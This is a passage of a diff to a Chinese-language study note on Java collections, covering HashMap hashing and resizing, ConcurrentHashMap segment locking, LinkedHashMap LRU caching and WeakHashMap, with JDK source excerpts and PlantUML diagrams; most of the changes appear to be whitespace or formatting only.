-Entry(int h, K k, V v, Entry<K,V> n) {
-    value = v;
-    next = n;
-    key = k;
-    hash = h;
+Entry(int h, K k, V v, Entry<K,V> n) {
+    value = v;
+    next = n;
+    key = k;
+    hash = h;
 }
 ```
 
-### 4. 确定桶下标
+### 4. 确定桶下标
 
 很多操作都需要先确定一个键值对所在的桶下标。
 
 ```java
-int hash = hash(key);
-int i = indexFor(hash, table.length);
+int hash = hash(key);
+int i = indexFor(hash, table.length);
 ```
 
-**4.1 计算 hash 值** 
+**4.1 计算 hash 值**
 
 ```java
-final int hash(Object k) {
-    int h = hashSeed;
-    if (0 != h && k instanceof String) {
-        return sun.misc.Hashing.stringHash32((String) k);
-    }
+final int hash(Object k) {
+    int h = hashSeed;
+    if (0 != h && k instanceof String) {
+        return sun.misc.Hashing.stringHash32((String) k);
+    }
 
-    h ^= k.hashCode();
+    h ^= k.hashCode();
 
-    // This function ensures that hashCodes that differ only by
-    // constant multiples at each bit position have a bounded
-    // number of collisions (approximately 8 at default load factor).
-    h ^= (h >>> 20) ^ (h >>> 12);
-    return h ^ (h >>> 7) ^ (h >>> 4);
+    // This function ensures that hashCodes that differ only by
+    // constant multiples at each bit position have a bounded
+    // number of collisions (approximately 8 at default load factor).
+    h ^= (h >>> 20) ^ (h >>> 12);
+    return h ^ (h >>> 7) ^ (h >>> 4);
 }
 ```
 
 ```java
-public final int hashCode() {
-    return Objects.hashCode(key) ^ Objects.hashCode(value);
+public final int hashCode() {
+    return Objects.hashCode(key) ^ Objects.hashCode(value);
 }
 ```
 
-**4.2 取模** 
+**4.2 取模**
 
-令 x = 1<<4，即 x 为 2 的 4 次方，它具有以下性质：
+令 x = 1<<4，即 x 为 2 的 4 次方，它具有以下性质：
 
 ```
-x   : 00010000
-x-1 : 00001111
+x   : 00010000
+x-1 : 00001111
 ```
 
-令一个数 y 与 x-1 做与运算，可以去除 y 位级表示的第 4 位以上数：
+令一个数 y 与 x-1 做与运算，可以去除 y 位级表示的第 4 位以上数：
 
 ```
-y       : 10110010
-x-1     : 00001111
-y&(x-1) : 00000010
+y       : 10110010
+x-1     : 00001111
+y&(x-1) : 00000010
 ```
 
-这个性质和 y 对 x 取模效果是一样的：
+这个性质和 y 对 x 取模效果是一样的：
 
 ```
-y   : 10110010
-x   : 00010000
-y%x : 00000010
+y   : 10110010
+x   : 00010000
+y%x : 00000010
 ```
 
 我们知道，位运算的代价比求模运算小的多，因此在进行这种计算时用位运算的话能带来更高的性能。
 
-确定桶下标的最后一步是将 key 的 hash 值对桶个数取模：hash%capacity，如果能保证 capacity 为 2 的 n 次方，那么就可以将这个操作转换为位运算。
+确定桶下标的最后一步是将 key 的 hash 值对桶个数取模：hash%capacity，如果能保证 capacity 为 2 的 n 次方，那么就可以将这个操作转换为位运算。
 
 ```java
-static int indexFor(int h, int length) {
-    return h & (length-1);
+static int indexFor(int h, int length) {
+    return h & (length-1);
 }
 ```
 
-### 5. 扩容-基本原理
+### 5. 扩容-基本原理
 
-设 HashMap 的 table 长度为 M，需要存储的键值对数量为 N，如果哈希函数满足均匀性的要求，那么每条链表的长度大约为 N/M，因此平均查找次数的复杂度为 O(N/M)。
+设 HashMap 的 table 长度为 M，需要存储的键值对数量为 N，如果哈希函数满足均匀性的要求，那么每条链表的长度大约为 N/M，因此平均查找次数的复杂度为 O(N/M)。
 
-为了让查找的成本降低，应该尽可能使得 N/M 尽可能小，因此需要保证 M 尽可能大，也就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值，使得空间效率和时间效率都能得到保证。
+为了让查找的成本降低，应该尽可能使得 N/M 尽可能小，因此需要保证 M 尽可能大，也就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值，使得空间效率和时间效率都能得到保证。
 
-和扩容相关的参数主要有：capacity、size、threshold 和 load_factor。
+和扩容相关的参数主要有：capacity、size、threshold 和 load_factor。
 
-| 参数 | 含义 |
-| :--: | :-- |
-| capacity | table 的容量大小，默认为 16。需要注意的是 capacity 必须保证为 2 的 n 次方。|
-| size | 键值对数量。 |
-| threshold | size 的临界值，当 size 大于等于 threshold 就必须进行扩容操作。 |
-| loadFactor | 装载因子，table 能够使用的比例，threshold = capacity * loadFactor。|
+| 参数 | 含义 |
+| :--: | :-- |
+| capacity | table 的容量大小，默认为 16。需要注意的是 capacity 必须保证为 2 的 n 次方。|
+| size | 键值对数量。 |
+| threshold | size 的临界值，当 size 大于等于 threshold 就必须进行扩容操作。 |
+| loadFactor | 装载因子，table 能够使用的比例，threshold = capacity * loadFactor。|
 
 ```java
-static final int DEFAULT_INITIAL_CAPACITY = 16;
+static final int DEFAULT_INITIAL_CAPACITY = 16;
 
-static final int MAXIMUM_CAPACITY = 1 << 30;
+static final int MAXIMUM_CAPACITY = 1 << 30;
 
-static final float DEFAULT_LOAD_FACTOR = 0.75f;
+static final float DEFAULT_LOAD_FACTOR = 0.75f;
 
-transient Entry[] table;
+transient Entry[] table;
 
-transient int size;
+transient int size;
 
-int threshold;
+int threshold;
 
-final float loadFactor;
+final float loadFactor;
 
-transient int modCount;
+transient int modCount;
 ```
 
-从下面的添加元素代码中可以看出，当需要扩容时，令 capacity 为原来的两倍。
+从下面的添加元素代码中可以看出，当需要扩容时，令 capacity 为原来的两倍。
 
 ```java
-void addEntry(int hash, K key, V value, int bucketIndex) {
-    Entry<K,V> e = table[bucketIndex];
-    table[bucketIndex] = new Entry<>(hash, key, value, e);
-    if (size++ >= threshold)
-        resize(2 * table.length);
+void addEntry(int hash, K key, V value, int bucketIndex) {
+    Entry<K,V> e = table[bucketIndex];
+    table[bucketIndex] = new Entry<>(hash, key, value, e);
+    if (size++ >= threshold)
+        resize(2 * table.length);
 }
 ```
 
-扩容使用 resize() 实现，需要注意的是，扩容操作同样需要把 oldTable 的所有键值对重新插入 newTable 中，因此这一步是很费时的。
+扩容使用 resize() 实现，需要注意的是，扩容操作同样需要把 oldTable 的所有键值对重新插入 newTable 中，因此这一步是很费时的。
 
 ```java
-void resize(int newCapacity) {
-    Entry[] oldTable = table;
-    int oldCapacity = oldTable.length;
-    if (oldCapacity == MAXIMUM_CAPACITY) {
-        threshold = Integer.MAX_VALUE;
-        return;
-    }
-    Entry[] newTable = new Entry[newCapacity];
-    transfer(newTable);
-    table = newTable;
-    threshold = (int)(newCapacity * loadFactor);
+void resize(int newCapacity) {
+    Entry[] oldTable = table;
+    int oldCapacity = oldTable.length;
+    if (oldCapacity == MAXIMUM_CAPACITY) {
+        threshold = Integer.MAX_VALUE;
+        return;
+    }
+    Entry[] newTable = new Entry[newCapacity];
+    transfer(newTable);
+    table = newTable;
+    threshold = (int)(newCapacity * loadFactor);
 }
 
-void transfer(Entry[] newTable) {
-    Entry[] src = table;
-    int newCapacity = newTable.length;
-    for (int j = 0; j < src.length; j++) {
-        Entry<K,V> e = src[j];
-        if (e != null) {
-            src[j] = null;
-            do {
-                Entry<K,V> next = e.next;
-                int i = indexFor(e.hash, newCapacity);
-                e.next = newTable[i];
-                newTable[i] = e;
-                e = next;
-            } while (e != null);
-        }
-    }
+void transfer(Entry[] newTable) {
+    Entry[] src = table;
+    int newCapacity = newTable.length;
+    for (int j = 0; j < src.length; j++) {
+        Entry<K,V> e = src[j];
+        if (e != null) {
+            src[j] = null;
+            do {
+                Entry<K,V> next = e.next;
+                int i = indexFor(e.hash, newCapacity);
+                e.next = newTable[i];
+                newTable[i] = e;
+                e = next;
+            } while (e != null);
+        }
+    }
 }
 ```
 
-### 6. 扩容-重新计算桶下标
+### 6. 扩容-重新计算桶下标
 
-在进行扩容时，需要把键值对重新放到对应的桶上。HashMap 使用了一个特殊的机制，可以降低重新计算桶下标的操作。
+在进行扩容时，需要把键值对重新放到对应的桶上。HashMap 使用了一个特殊的机制，可以降低重新计算桶下标的操作。
 
-假设原数组长度 capacity 为 16，扩容之后 new capacity 为 32：
+假设原数组长度 capacity 为 16，扩容之后 new capacity 为 32：
 
 ```html
-capacity     : 00010000
-new capacity : 00100000
+capacity     : 00010000
+new capacity : 00100000
 ```
 
-对于一个 Key，
+对于一个 Key，
 
-- 它的哈希值如果在第 5 位上为 0，那么取模得到的结果和之前一样；
-- 如果为 1，那么得到的结果为原来的结果 +16。
+- 它的哈希值如果在第 5 位上为 0，那么取模得到的结果和之前一样；
+- 如果为 1，那么得到的结果为原来的结果 +16。
 
-### 7. 计算数组容量
+### 7. 计算数组容量
 
-HashMap 构造函数允许用户传入的容量不是 2 的 n 次方，因为它可以自动地将传入的容量转换为 2 的 n 次方。
+HashMap 构造函数允许用户传入的容量不是 2 的 n 次方，因为它可以自动地将传入的容量转换为 2 的 n 次方。
 
-先考虑如何求一个数的掩码，对于 10010000，它的掩码为 11111111，可以使用以下方法得到：
+先考虑如何求一个数的掩码，对于 10010000，它的掩码为 11111111，可以使用以下方法得到：
 
 ```
-mask |= mask >> 1    11011000
-mask |= mask >> 2    11111110
-mask |= mask >> 4    11111111
+mask |= mask >> 1    11011000
+mask |= mask >> 2    11111110
+mask |= mask >> 4    11111111
 ```
 
-mask+1 是大于原始数字的最小的 2 的 n 次方。
+mask+1 是大于原始数字的最小的 2 的 n 次方。
 
 ```
-num     10010000
-mask+1 100000000
+num     10010000
+mask+1 100000000
 ```
 
-以下是 HashMap 中计算数组容量的代码：
+以下是 HashMap 中计算数组容量的代码：
 
 ```java
-static final int tableSizeFor(int cap) {
-    int n = cap - 1;
-    n |= n >>> 1;
-    n |= n >>> 2;
-    n |= n >>> 4;
-    n |= n >>> 8;
-    n |= n >>> 16;
-    return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
+static final int tableSizeFor(int cap) {
+    int n = cap - 1;
+    n |= n >>> 1;
+    n |= n >>> 2;
+    n |= n >>> 4;
+    n |= n >>> 8;
+    n |= n >>> 16;
+    return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
 }
 ```
 
-### 8. 链表转红黑树
+### 8. 链表转红黑树
 
-从 JDK 1.8 开始，一个桶存储的链表长度大于 8 时会将链表转换为红黑树。
+从 JDK 1.8 开始，一个桶存储的链表长度大于 8 时会将链表转换为红黑树。
 
-### 9. 与 HashTable 的比较
+### 9. 与 HashTable 的比较
 
-- HashTable 使用 synchronized 来进行同步。
-- HashMap 可以插入键为 null 的 Entry。
-- HashMap 的迭代器是 fail-fast 迭代器。
-- HashMap 不能保证随着时间的推移 Map 中的元素次序是不变的。
+- HashTable 使用 synchronized 来进行同步。
+- HashMap 可以插入键为 null 的 Entry。
+- HashMap 的迭代器是 fail-fast 迭代器。
+- HashMap 不能保证随着时间的推移 Map 中的元素次序是不变的。
 
-## ConcurrentHashMap
+## ConcurrentHashMap
 
-### 1. 存储结构
+### 1. 存储结构
 
 ```java
-static final class HashEntry<K,V> {
-    final int hash;
-    final K key;
-    volatile V value;
-    volatile HashEntry<K,V> next;
+static final class HashEntry<K,V> {
+    final int hash;
+    final K key;
+    volatile V value;
+    volatile HashEntry<K,V> next;
 }
 ```
 
-ConcurrentHashMap 和 HashMap 实现上类似，最主要的差别是 ConcurrentHashMap 采用了分段锁（Segment），每个分段锁维护着几个桶（HashEntry），多个线程可以同时访问不同分段锁上的桶，从而使其并发度更高（并发度就是 Segment 的个数）。
+ConcurrentHashMap 和 HashMap 实现上类似，最主要的差别是 ConcurrentHashMap 采用了分段锁（Segment），每个分段锁维护着几个桶（HashEntry），多个线程可以同时访问不同分段锁上的桶，从而使其并发度更高（并发度就是 Segment 的个数）。
 
-Segment 继承自 ReentrantLock。
+Segment 继承自 ReentrantLock。
 
 ```java
-static final class Segment<K,V> extends ReentrantLock implements Serializable {
+static final class Segment<K,V> extends ReentrantLock implements Serializable {
 
-    private static final long serialVersionUID = 2249069246763182397L;
+    private static final long serialVersionUID = 2249069246763182397L;
 
-    static final int MAX_SCAN_RETRIES =
-        Runtime.getRuntime().availableProcessors() > 1 ? 64 : 1;
+    static final int MAX_SCAN_RETRIES =
+        Runtime.getRuntime().availableProcessors() > 1 ? 64 : 1;
 
-    transient volatile HashEntry<K,V>[] table;
+    transient volatile HashEntry<K,V>[] table;
 
-    transient int count;
+    transient int count;
 
-    transient int modCount;
+    transient int modCount;
 
-    transient int threshold;
+    transient int threshold;
 
-    final float loadFactor;
+    final float loadFactor;
 }
 ```
 
 ```java
-final Segment<K,V>[] segments;
+final Segment<K,V>[] segments;
 ```
 
-默认的并发级别为 16，也就是说默认创建 16 个 Segment。
+默认的并发级别为 16，也就是说默认创建 16 个 Segment。
 
 ```java
-static final int DEFAULT_CONCURRENCY_LEVEL = 16;
+static final int DEFAULT_CONCURRENCY_LEVEL = 16;
 ```
 
-<div align="center"> <img src="pics/3fdfc89d-719e-4d93-b518-29fa612b3b18.png"/> </div><br>
+![](index_files/3fdfc89d-719e-4d93-b518-29fa612b3b18.png)
 
-### 2. size 操作
+### 2. size 操作
 
-每个 Segment 维护了一个 count 变量来统计该 Segment 中的键值对个数。
+每个 Segment 维护了一个 count 变量来统计该 Segment 中的键值对个数。
 
 ```java
 /**
- * The number of elements. Accessed only either within locks
- * or among other volatile reads that maintain visibility.
- */
-transient int count;
+ * The number of elements. Accessed only either within locks
+ * or among other volatile reads that maintain visibility.
+ */
+transient int count;
 ```
 
-在执行 size 操作时，需要遍历所有 Segment 然后把 count 累计起来。
+在执行 size 操作时，需要遍历所有 Segment 然后把 count 累计起来。
 
-ConcurrentHashMap 在执行 size 操作时先尝试不加锁，如果连续两次不加锁操作得到的结果一致，那么可以认为这个结果是正确的。
+ConcurrentHashMap 在执行 size 操作时先尝试不加锁，如果连续两次不加锁操作得到的结果一致，那么可以认为这个结果是正确的。
 
-尝试次数使用 RETRIES_BEFORE_LOCK 定义，该值为 2，retries 初始值为 -1，因此尝试次数为 3。
+尝试次数使用 RETRIES_BEFORE_LOCK 定义，该值为 2，retries 初始值为 -1，因此尝试次数为 3。
 
-如果尝试的次数超过 3 次，就需要对每个 Segment 加锁。
+如果尝试的次数超过 3 次，就需要对每个 Segment 加锁。
 
 ```java
 
 /**
- * Number of unsynchronized retries in size and containsValue
- * methods before resorting to locking. This is used to avoid
- * unbounded retries if tables undergo continuous modification
- * which would make it impossible to obtain an accurate result.
- */
-static final int RETRIES_BEFORE_LOCK = 2;
+ * Number of unsynchronized retries in size and containsValue
+ * methods before resorting to locking. This is used to avoid
+ * unbounded retries if tables undergo continuous modification
+ * which would make it impossible to obtain an accurate result.
+ */
+static final int RETRIES_BEFORE_LOCK = 2;
 
-public int size() {
-    // Try a few times to get accurate count. On failure due to
-    // continuous async changes in table, resort to locking.
-    final Segment<K,V>[] segments = this.segments;
-    int size;
-    boolean overflow; // true if size overflows 32 bits
-    long sum;         // sum of modCounts
-    long last = 0L;   // previous sum
-    int retries = -1; // first iteration isn't retry
-    try {
-        for (;;) {
-            // 超过尝试次数，则对每个 Segment 加锁
-            if (retries++ == RETRIES_BEFORE_LOCK) {
-                for (int j = 0; j < segments.length; ++j)
-                    ensureSegment(j).lock(); // force creation
-            }
-            sum = 0L;
-            size = 0;
-            overflow = false;
-            for (int j = 0; j < segments.length; ++j) {
-                Segment<K,V> seg = segmentAt(segments, j);
-                if (seg != null) {
-                    sum += seg.modCount;
-                    int c = seg.count;
-                    if (c < 0 || (size += c) < 0)
-                        overflow = true;
-                }
-            }
-            // 连续两次得到的结果一致，则认为这个结果是正确的
-            if (sum == last)
-                break;
-            last = sum;
-        }
-    } finally {
-        if (retries > RETRIES_BEFORE_LOCK) {
-            for (int j = 0; j < segments.length; ++j)
-                segmentAt(segments, j).unlock();
-        }
-    }
-    return overflow ? Integer.MAX_VALUE : size;
+public int size() {
+    // Try a few times to get accurate count. On failure due to
+    // continuous async changes in table, resort to locking.
+    final Segment<K,V>[] segments = this.segments;
+    int size;
+    boolean overflow; // true if size overflows 32 bits
+    long sum;         // sum of modCounts
+    long last = 0L;   // previous sum
+    int retries = -1; // first iteration isn't retry
+    try {
+        for (;;) {
+            // 超过尝试次数，则对每个 Segment 加锁
+            if (retries++ == RETRIES_BEFORE_LOCK) {
+                for (int j = 0; j < segments.length; ++j)
+                    ensureSegment(j).lock(); // force creation
+            }
+            sum = 0L;
+            size = 0;
+            overflow = false;
+            for (int j = 0; j < segments.length; ++j) {
+                Segment<K,V> seg = segmentAt(segments, j);
+                if (seg != null) {
+                    sum += seg.modCount;
+                    int c = seg.count;
+                    if (c < 0 || (size += c) < 0)
+                        overflow = true;
+                }
+            }
+            // 连续两次得到的结果一致，则认为这个结果是正确的
+            if (sum == last)
+                break;
+            last = sum;
+        }
+    } finally {
+        if (retries > RETRIES_BEFORE_LOCK) {
+            for (int j = 0; j < segments.length; ++j)
+                segmentAt(segments, j).unlock();
+        }
+    }
+    return overflow ? Integer.MAX_VALUE : size;
 }
 ```
 
-### 3. JDK 1.8 的改动
+### 3. JDK 1.8 的改动
 
-JDK 1.7 使用分段锁机制来实现并发更新操作，核心类为 Segment，它继承自重入锁 ReentrantLock，并发度与 Segment 数量相等。
+JDK 1.7 使用分段锁机制来实现并发更新操作，核心类为 Segment，它继承自重入锁 ReentrantLock，并发度与 Segment 数量相等。
 
-JDK 1.8 使用了 CAS 操作来支持更高的并发度，在 CAS 操作失败时使用内置锁 synchronized。
+JDK 1.8 使用了 CAS 操作来支持更高的并发度，在 CAS 操作失败时使用内置锁 synchronized。
 
-并且 JDK 1.8 的实现也在链表过长时会转换为红黑树。
+并且 JDK 1.8 的实现也在链表过长时会转换为红黑树。
 
-## LinkedHashMap
+## LinkedHashMap
 
-### 存储结构
+### 存储结构
 
-继承自 HashMap，因此具有和 HashMap 一样的快速查找特性。
+继承自 HashMap，因此具有和 HashMap 一样的快速查找特性。
 
 ```java
-public class LinkedHashMap<K,V> extends HashMap<K,V> implements Map<K,V>
+public class LinkedHashMap<K,V> extends HashMap<K,V> implements Map<K,V>
 ```
 
-内部维护了一个双向链表，用来维护插入顺序或者 LRU 顺序。
+内部维护了一个双向链表，用来维护插入顺序或者 LRU 顺序。
 
 ```java
 /**
- * The head (eldest) of the doubly linked list.
- */
-transient LinkedHashMap.Entry<K,V> head;
+ * The head (eldest) of the doubly linked list.
+ */
+transient LinkedHashMap.Entry<K,V> head;
 
 /**
- * The tail (youngest) of the doubly linked list.
- */
-transient LinkedHashMap.Entry<K,V> tail;
+ * The tail (youngest) of the doubly linked list.
+ */
+transient LinkedHashMap.Entry<K,V> tail;
 ```
 
-accessOrder 决定了顺序，默认为 false，此时维护的是插入顺序。
+accessOrder 决定了顺序，默认为 false，此时维护的是插入顺序。
 
 ```java
-final boolean accessOrder;
+final boolean accessOrder;
 ```
 
-LinkedHashMap 最重要的是以下用于维护顺序的函数，它们会在 put、get 等方法中调用。
+LinkedHashMap 最重要的是以下用于维护顺序的函数，它们会在 put、get 等方法中调用。
 
 ```java
-void afterNodeAccess(Node<K,V> p) { }
-void afterNodeInsertion(boolean evict) { }
+void afterNodeAccess(Node<K,V> p) { }
+void afterNodeInsertion(boolean evict) { }
 ```
 
-### afterNodeAccess()
+### afterNodeAccess()
 
-当一个节点被访问时，如果 accessOrder 为 true，则会将该节点移到链表尾部。也就是说指定为 LRU 顺序之后，在每次访问一个节点时，会将这个节点移到链表尾部，保证链表尾部是最近访问的节点，那么链表首部就是最近最久未使用的节点。
+当一个节点被访问时，如果 accessOrder 为 true，则会将该节点移到链表尾部。也就是说指定为 LRU 顺序之后，在每次访问一个节点时，会将这个节点移到链表尾部，保证链表尾部是最近访问的节点，那么链表首部就是最近最久未使用的节点。
 
 ```java
-void afterNodeAccess(Node<K,V> e) { // move node to last
-    LinkedHashMap.Entry<K,V> last;
-    if (accessOrder && (last = tail) != e) {
-        LinkedHashMap.Entry<K,V> p =
-            (LinkedHashMap.Entry<K,V>)e, b = p.before, a = p.after;
-        p.after = null;
-        if (b == null)
-            head = a;
-        else
-            b.after = a;
-        if (a != null)
-            a.before = b;
-        else
-            last = b;
-        if (last == null)
-            head = p;
-        else {
-            p.before = last;
-            last.after = p;
-        }
-        tail = p;
-        ++modCount;
-    }
+void afterNodeAccess(Node<K,V> e) { // move node to last
+    LinkedHashMap.Entry<K,V> last;
+    if (accessOrder && (last = tail) != e) {
+        LinkedHashMap.Entry<K,V> p =
+            (LinkedHashMap.Entry<K,V>)e, b = p.before, a = p.after;
+        p.after = null;
+        if (b == null)
+            head = a;
+        else
+            b.after = a;
+        if (a != null)
+            a.before = b;
+        else
+            last = b;
+        if (last == null)
+            head = p;
+        else {
+            p.before = last;
+            last.after = p;
+        }
+        tail = p;
+        ++modCount;
+    }
 }
 ```
 
-### afterNodeInsertion()
+### afterNodeInsertion()
 
-在 put 等操作之后执行，当 removeEldestEntry() 方法返回 true 时会移除最晚的节点，也就是链表首部节点 first。
+在 put 等操作之后执行，当 removeEldestEntry() 方法返回 true 时会移除最晚的节点，也就是链表首部节点 first。
 
-evict 只有在构建 Map 的时候才为 false，在这里为 true。
+evict 只有在构建 Map 的时候才为 false，在这里为 true。
 
 ```java
-void afterNodeInsertion(boolean evict) { // possibly remove eldest
-    LinkedHashMap.Entry<K,V> first;
-    if (evict && (first = head) != null && removeEldestEntry(first)) {
-        K key = first.key;
-        removeNode(hash(key), key, null, false, true);
-    }
+void afterNodeInsertion(boolean evict) { // possibly remove eldest
+    LinkedHashMap.Entry<K,V> first;
+    if (evict && (first = head) != null && removeEldestEntry(first)) {
+        K key = first.key;
+        removeNode(hash(key), key, null, false, true);
+    }
 }
 ```
 
-removeEldestEntry() 默认为 false，如果需要让它为 true，需要继承 LinkedHashMap 并且覆盖这个方法的实现，这在实现 LRU 的缓存中特别有用，通过移除最近最久未使用的节点，从而保证缓存空间足够，并且缓存的数据都是热点数据。
+removeEldestEntry() 默认为 false，如果需要让它为 true，需要继承 LinkedHashMap 并且覆盖这个方法的实现，这在实现 LRU 的缓存中特别有用，通过移除最近最久未使用的节点，从而保证缓存空间足够，并且缓存的数据都是热点数据。
 
 ```java
-protected boolean removeEldestEntry(Map.Entry<K,V> eldest) {
-    return false;
+protected boolean removeEldestEntry(Map.Entry<K,V> eldest) {
+    return false;
 }
 ```
 
-### LRU 缓存
+### LRU 缓存
 
-以下是使用 LinkedHashMap 实现的一个 LRU 缓存：
+以下是使用 LinkedHashMap 实现的一个 LRU 缓存：
 
-- 设定最大缓存空间 MAX_ENTRIES  为 3；
-- 使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true，开启 LRU 顺序；
-- 覆盖 removeEldestEntry() 方法实现，在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。
+- 设定最大缓存空间 MAX_ENTRIES  为 3；
+- 使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true，开启 LRU 顺序；
+- 覆盖 removeEldestEntry() 方法实现，在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。
 
 ```java
-class LRUCache<K, V> extends LinkedHashMap<K, V> {
-    private static final int MAX_ENTRIES = 3;
+class LRUCache<K, V> extends LinkedHashMap<K, V> {
+    private static final int MAX_ENTRIES = 3;
 
-    protected boolean removeEldestEntry(Map.Entry eldest) {
-        return size() > MAX_ENTRIES;
-    }
+    protected boolean removeEldestEntry(Map.Entry eldest) {
+        return size() > MAX_ENTRIES;
+    }
 
-    LRUCache() {
-        super(MAX_ENTRIES, 0.75f, true);
-    }
+    LRUCache() {
+        super(MAX_ENTRIES, 0.75f, true);
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    LRUCache<Integer, String> cache = new LRUCache<>();
-    cache.put(1, "a");
-    cache.put(2, "b");
-    cache.put(3, "c");
-    cache.get(1);
-    cache.put(4, "d");
-    System.out.println(cache.keySet());
+public static void main(String[] args) {
+    LRUCache<Integer, String> cache = new LRUCache<>();
+    cache.put(1, "a");
+    cache.put(2, "b");
+    cache.put(3, "c");
+    cache.get(1);
+    cache.put(4, "d");
+    System.out.println(cache.keySet());
 }
 ```
 
 ```html
-[3, 1, 4]
+[3, 1, 4]
 ```
 
-## WeakHashMap
+## WeakHashMap
 
-### 存储结构
+### 存储结构
 
-WeakHashMap 的 Entry 继承自 WeakReference，被 WeakReference 关联的对象在下一次垃圾回收时会被回收。
+WeakHashMap 的 Entry 继承自 WeakReference，被 WeakReference 关联的对象在下一次垃圾回收时会被回收。
 
-WeakHashMap 主要用来实现缓存，通过使用 WeakHashMap 来引用缓存对象，由 JVM 对这部分缓存进行回收。
+WeakHashMap 主要用来实现缓存，通过使用 WeakHashMap 来引用缓存对象，由 JVM 对这部分缓存进行回收。
 
 ```java
-private static class Entry<K,V> extends WeakReference<Object> implements Map.Entry<K,V>
+private static class Entry<K,V> extends WeakReference<Object> implements Map.Entry<K,V>
 ```
 
-### ConcurrentCache
+### ConcurrentCache
 
-Tomcat 中的 ConcurrentCache 使用了 WeakHashMap 来实现缓存功能。
+Tomcat 中的 ConcurrentCache 使用了 WeakHashMap 来实现缓存功能。
 
-ConcurrentCache 采取的是分代缓存：
+ConcurrentCache 采取的是分代缓存：
 
-- 经常使用的对象放入 eden 中，eden 使用 ConcurrentHashMap 实现，不用担心会被回收（伊甸园）；
-- 不常用的对象放入 longterm，longterm 使用 WeakHashMap 实现，这些老对象会被垃圾收集器回收。
-- 当调用  get() 方法时，会先从 eden 区获取，如果没有找到的话再到 longterm 获取，当从 longterm 获取到就把对象放入 eden 中，从而保证经常被访问的节点不容易被回收。
-- 当调用 put() 方法时，如果 eden 的大小超过了 size，那么就将 eden 中的所有对象都放入 longterm 中，利用虚拟机回收掉一部分不经常使用的对象。
+- 经常使用的对象放入 eden 中，eden 使用 ConcurrentHashMap 实现，不用担心会被回收（伊甸园）；
+- 不常用的对象放入 longterm，longterm 使用 WeakHashMap 实现，这些老对象会被垃圾收集器回收。
+- 当调用  get() 方法时，会先从 eden 区获取，如果没有找到的话再到 longterm 获取，当从 longterm 获取到就把对象放入 eden 中，从而保证经常被访问的节点不容易被回收。
+- 当调用 put() 方法时，如果 eden 的大小超过了 size，那么就将 eden 中的所有对象都放入 longterm 中，利用虚拟机回收掉一部分不经常使用的对象。
 
 ```java
-public final class ConcurrentCache<K, V> {
+public final class ConcurrentCache<K, V> {
 
-    private final int size;
+    private final int size;
 
-    private final Map<K, V> eden;
+    private final Map<K, V> eden;
 
-    private final Map<K, V> longterm;
+    private final Map<K, V> longterm;
 
-    public ConcurrentCache(int size) {
-        this.size = size;
-        this.eden = new ConcurrentHashMap<>(size);
-        this.longterm = new WeakHashMap<>(size);
-    }
+    public ConcurrentCache(int size) {
+        this.size = size;
+        this.eden = new ConcurrentHashMap<>(size);
+        this.longterm = new WeakHashMap<>(size);
+    }
 
-    public V get(K k) {
-        V v = this.eden.get(k);
-        if (v == null) {
-            v = this.longterm.get(k);
-            if (v != null)
-                this.eden.put(k, v);
-        }
-        return v;
-    }
+    public V get(K k) {
+        V v = this.eden.get(k);
+        if (v == null) {
+            v = this.longterm.get(k);
+            if (v != null)
+                this.eden.put(k, v);
+        }
+        return v;
+    }
 
-    public void put(K k, V v) {
-        if (this.eden.size() >= size) {
-            this.longterm.putAll(this.eden);
-            this.eden.clear();
-        }
-        this.eden.put(k, v);
-    }
+    public void put(K k, V v) {
+        if (this.eden.size() >= size) {
+            this.longterm.putAll(this.eden);
+            this.eden.clear();
+        }
+        this.eden.put(k, v);
+    }
 }
 ```
 
-# 附录
+# 附录
 
-Collection 绘图源码：
+Collection 绘图源码：
 
 ```
 @startuml
 
-interface Collection
-interface Set
-interface List
-interface Queue
-interface SortSet
+interface Collection
+interface Set
+interface List
+interface Queue
+interface SortSet
 
-class HashSet
-class LinkedHashSet
-class TreeSet
-class ArrayList
-class Vector
-class LinkedList
-class PriorityQueue
+class HashSet
+class LinkedHashSet
+class TreeSet
+class ArrayList
+class Vector
+class LinkedList
+class PriorityQueue
 
 
-Collection <|-- Set
-Collection <|-- List
-Collection <|-- Queue
-Set <|-- SortSet
+Collection <|-- Set
+Collection <|-- List
+Collection <|-- Queue
+Set <|-- SortSet
 
-Set <|.. HashSet
-Set <|.. LinkedHashSet
-SortSet <|.. TreeSet
-List <|.. ArrayList
-List <|.. Vector
-List <|.. LinkedList
-Queue <|.. LinkedList
-Queue <|.. PriorityQueue
+Set <|.. HashSet
+Set <|.. LinkedHashSet
+SortSet <|.. TreeSet
+List <|.. ArrayList
+List <|.. Vector
+List <|.. LinkedList
+Queue <|.. LinkedList
+Queue <|.. PriorityQueue
 
 @enduml
 ```
 
-Map 绘图源码
+Map 绘图源码
 
 ```
 @startuml
 
-interface Map
-interface SortMap
+interface Map
+interface SortMap
 
-class HashTable
-class LinkedHashMap
-class HashMap
-class TreeMap
+class HashTable
+class LinkedHashMap
+class HashMap
+class TreeMap
 
-Map <|.. HashTable
-Map <|.. LinkedHashMap
-Map <|.. HashMap
-Map <|-- SortMap
-SortMap <|.. TreeMap
+Map <|.. HashTable
+Map <|.. LinkedHashMap
+Map <|.. HashMap
+Map <|-- SortMap
+SortMap <|.. TreeMap
 
 @enduml
 ```
@@ -1159,36 +1137,44 @@ SortMap <|.. TreeMap
 ```
 @startuml
 
-interface Iterable
-interface Collection
-interface List
-interface Set
-interface Queue
-interface Iterator
-interface ListIterator
+interface Iterable
+interface Collection
+interface List
+interface Set
+interface Queue
+interface Iterator
+interface ListIterator
 
-Iterable <|-- Collection
-Collection <|.. List
-Collection <|.. Set
-Collection <|-- Queue
-Iterator <-- Iterable
-Iterator <|.. ListIterator
-ListIterator <-- List
+Iterable <|-- Collection
+Collection <|.. List
+Collection <|.. Set
+Collection <|-- Queue
+Iterator <-- Iterable
+Iterator <|.. ListIterator
+ListIterator <-- List
 
 @enduml
 ```
 
-# 参考资料
+# 参考资料
 
